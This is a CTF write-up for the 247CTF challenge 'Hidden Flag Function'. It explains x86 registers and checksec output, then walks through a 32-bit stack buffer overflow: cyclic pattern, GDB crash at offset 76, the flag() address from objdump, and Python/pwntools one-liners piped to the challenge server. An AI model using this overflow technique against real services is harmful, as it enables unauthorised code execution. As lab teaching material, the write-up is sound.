This is my write-up of a Pwnable challenge Hidden Flag Function on the CTF site 247CTF.com.
Can you control this applications flow to gain access to the hidden flag function?
register | what it’s for | often seen |
---|---|---|
eax |
general purpose | carrying function return values |
ebx |
general purpose | storing values when eax is already taken |
ecx |
general purpose | doing the counting for a for loop |
edx |
general purpose | joining with eax to store 64-bit numbers |
esi |
general purpose | holding an address to copy bytes from |
edi |
general purpose | holding an address to copy bytes to |
esp |
stack pointer | holding the address of the stack frame top |
ebp |
frame pointer | holding the address of the stack frame bottom |
eip |
instruction pointer | holding the address of the current instruction |
flags |
flags | keeping results of comparisons |
instruction | english | example | english |
---|---|---|---|
mov |
move | mov eax, ebx |
copy the value in ebx into eax |
inc |
increment | inc ecx |
increase the value of ecx by 1 |
dec |
decrement | dec ecx |
decrease the value of ecx by 1 |
cmp |
compare | cmp eax, ecx |
compare eax with ecx and remember which is larger |
add |
add | add eax, ecx |
add the values of eax and ecx then put the result in eax |
sub |
subtract | sub eax, ecx |
subtract the value of ecx from that of eax , and then put the result in eax |
mul |
multiply | mul ebx |
multiply the value of eax by the value of ebx , and then put the 64-bit result in edx (significant 32 bits) and eax (remaining 32 bits) |
div |
divide | div ebx |
treat edx as 32 significant bits, eax as 32 remaining bits; divide result by the value of ebx ; put quotient in eax and the reminder in edx |
and |
and | and eax, edx |
compute the bitwise and of eax and ecx ; put the result in eax |
xor |
exclusive or | xor eax, edx |
compute the bitwise exclusive-or of eax and ecx ; put the result in eax |
lea |
load effective address | lea edx. [eax+4] |
move the address of the second operand to the first operand; put eax+4 into edx |
jmp |
jump | jmp 0x401000 |
transfer control flow to the address 0x401000 |
jge |
jump if greater or equal | jge 0x401000 |
same as jmp , but only if in last comparison, first term was greater or equal |
push |
push | push ebx |
push the value in ebx on top of the stack |
pop |
pop | pop ebx |
pop a value off the top of the stack and put it in ebx |
call |
call | call 0x401000 |
push address of next instruction to the stack, transfer control to 0x401000 |
ret |
return | ret |
pop address off the stack, transfer control there |
Brackets are used to refer to values by their memory address. e.g.
mov ebx, [eax]
means ”interpret the value ofeax
as a memory address; copy the 4 bytes there intoebx
as its new value”.
https://pwnation.github.io/post/tamuctf2017/pwn1/ https://medium.com/hackstreetboys/encryptctf-2019-pwn-write-up-3-of-5-10129404a45a
A good idea when working with binary executable files is to check the parameters of the binary itself. To do that, we can use checksec
from the python pwn package, but you can use the original script, GEF implementation or some other.
kali@kali:~$ checksec hidden_flag_function
[*] '/home/kali/hidden_flag_function'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Basically it colors the output for you, green is good, red not so much, but to know what the proprieties mean, we can read the article High level explanation on some binary executable security, as it contains a great write-up about the output, here is an extract for completeness sake.
Relocation Read-Only, meaning that the headers in your binary, which need to be writable during startup of the application (to allow the dynamic linker to load and link stuff like shared libraries) are marked as read-only when the linker is done doing its magic (but before the application itself is launched). The difference between Partial RELRO and Full RELRO is that the Global Offset Table (and Procedure Linkage Table) which act as kind-of process-specific lookup tables for symbols (names that need to point to locations elsewhere in the application or even in loaded shared libraries) are marked read-only too in the Full RELRO. Downside of this is that lazy binding (only resolving those symbols the first time you hit them, making applications start a bit faster) is not possible anymore.
A Canary is a certain value put on the stack (memory where function local variables are also stored) and validated before that function is left again. Leaving a function means that the “previous” address (i.e. the location in the application right before the function was called) is retrieved from this stack and jumped to (well, the part right after that address - we do not want an endless loop do we?). If the canary value is not correct, then the stack might have been overwritten / corrupted (for instance by writing more stuff in the local variable than allowed - called buffer overflow) so the application is immediately stopped.
The abbreviation NX stands for non-execute or non-executable segment. It means that the application, when loaded in memory, does not allow any of its segments to be both writable and executable. The idea here is that writable memory should never be executed (as it can be manipulated) and vice versa. Having NX enabled would be good.
Position Independent Executable. A No PIE application tells the loader which virtual address it should use (and keeps its memory layout quite static). Hence, attacks against this application know up-front how the virtual memory for this application is (partially) organized. Combined with in-kernel ASLR (Address Space Layout Randomization, which Gentoo’s hardened-sources of course support) PIE applications have a more diverge memory organization, making attacks that rely on the memory structure more difficult.
To see if the file is vulnerable to some kind of buffer overflow, the easiest way is to make it break. So we need a long string to enter as input. To help us with that, Metasploit contains nice tool, that creates a sequence of unique values. Why unique you may ask? The reason lies in the fact, that in the next step, we will want to know where exactly the execution breaks and use that info.
kali@kali:~$ msf-pattern_create -l 300
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9
Lets try to run the binary (make sure you are always doing this in an virtual environment, as we can’t really trust the random code we find on the internet):
kali@kali:~$ ./hidden_flag_function
What do you have to say?
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9
Segmentation fault.
Okay, we can see that we managed to overflow the buffer and get the program to break.
Now we want to know where exactly the program breaks, for that task, we will use GNU debugger with GEF extensions.
kali@kali:~$ gdb -q ./hidden_flag_function
GEF for linux ready, type `gef' to start, `gef config' to configure
75 commands loaded for GDB 8.3.1 using Python engine 3.7
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./hidden_flag_function...
(No debugging symbols found in ./hidden_flag_function)
gef➤ r
Starting program: /home/kali/hidden_flag_function
What do you have to say?
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9
Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x1
$ebx : 0x33634132 ("2Ac3"?)
$ecx : 0x0
$edx : 0xf7fb701c → 0x00000000
$esp : 0xffffd580 → "6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2A[...]"
$ebp : 0x41346341 ("Ac4A"?)
$esi : 0xf7fb5000 → 0x001d6d6c ("lm"?)
$edi : 0xf7fb5000 → 0x001d6d6c ("lm"?)
$eip : 0x63413563 ("c5Ac"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
─────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd580│+0x0000: "6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2A[...]" ← $esp
0xffffd584│+0x0004: "Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae[...]"
0xffffd588│+0x0008: "c9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5[...]"
0xffffd58c│+0x000c: "0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6A[...]"
0xffffd590│+0x0010: "Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae[...]"
0xffffd594│+0x0014: "d3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9[...]"
0xffffd598│+0x0018: "4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0A[...]"
0xffffd59c│+0x001c: "Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af[...]"
───────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x63413563
───────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "hidden_flag_fun", stopped, reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
c5Ac
is on the 76th place in our payload, we can count that by hand in our generated sequence.
But to avoid errors and speed up the count, we can check the offset of the memory location in which c5Ac
occurs:
kali@kali:~$ msf-pattern_offset -q 0x63413563
[*] Exact match at offset 76
As the binary name suggests, there should be a flag()
function somewhere in the application, that we need to execute.
To find it, we can use objdump
:
kali@kali:~$ objdump -drwC -Mintel -d hidden_flag_function
...
08048576 <flag>:
8048576: 55 push ebp
8048577: 89 e5 mov ebp,esp
8048579: 53 push ebx
804857a: 83 ec 54 sub esp,0x54
804857d: e8 2e ff ff ff call 80484b0 <__x86.get_pc_thunk.bx>
8048582: 81 c3 7e 1a 00 00 add ebx,0x1a7e
8048588: 83 ec 08 sub esp,0x8
804858b: 8d 83 e0 e6 ff ff lea eax,[ebx-0x1920]
8048591: 50 push eax
8048592: 8d 83 e2 e6 ff ff lea eax,[ebx-0x191e]
8048598: 50 push eax
8048599: e8 92 fe ff ff call 8048430 <fopen@plt>
804859e: 83 c4 10 add esp,0x10
80485a1: 89 45 f4 mov DWORD PTR [ebp-0xc],eax
80485a4: 83 ec 04 sub esp,0x4
80485a7: ff 75 f4 push DWORD PTR [ebp-0xc]
80485aa: 6a 40 push 0x40
80485ac: 8d 45 b4 lea eax,[ebp-0x4c]
80485af: 50 push eax
80485b0: e8 4b fe ff ff call 8048400 <fgets@plt>
80485b5: 83 c4 10 add esp,0x10
80485b8: 83 ec 08 sub esp,0x8
80485bb: 8d 45 b4 lea eax,[ebp-0x4c]
80485be: 50 push eax
80485bf: 8d 83 ec e6 ff ff lea eax,[ebx-0x1914]
80485c5: 50 push eax
80485c6: e8 25 fe ff ff call 80483f0 <printf@plt>
80485cb: 83 c4 10 add esp,0x10
80485ce: 90 nop
80485cf: 8b 5d fc mov ebx,DWORD PTR [ebp-0x4]
80485d2: c9 leave
80485d3: c3 ret
...
We can see that the memory location at which flag()
function resides is 08048576
.
So we now have all we need! We will build up our exploit from:
76 bytes of arbitrary data
+memory location of flag() function
To create our payload we will use Python. We need to use little-endian notation of the memory location, as we found out with checksec, that we have 32-bit architecture with little-endian notation.
kali@kali:~$ python -c "print 'a' * 76 + '\x76\x85\x04\x08'" | nc 2cbcd3c9791a8d95.247ctf.com 50465
How did you get here?
Have a flag!
247CTF{xxxx}
To make our life easier, we can use pwntools again. So instead of little endian notation of memory location \76\85\04\08
, we can use pack function. We will use p32()
function to do the heavy lifting for us.
kali@kali:~$ python -c "from pwn import *; print 'a' * 76 + p32("0x08048576")" | nc 38ecc361448ecfaa.247ctf.com 50182What do you have to say?
How did you get here?
Have a flag!
247CTF{xxxx}
$ pwn template ./hidden_flag_function --host 952ba8eab129134b.247ctf.com --port 50278 > exploit.py
$ chmod +x exploit
./exploit LOCAL
./exploit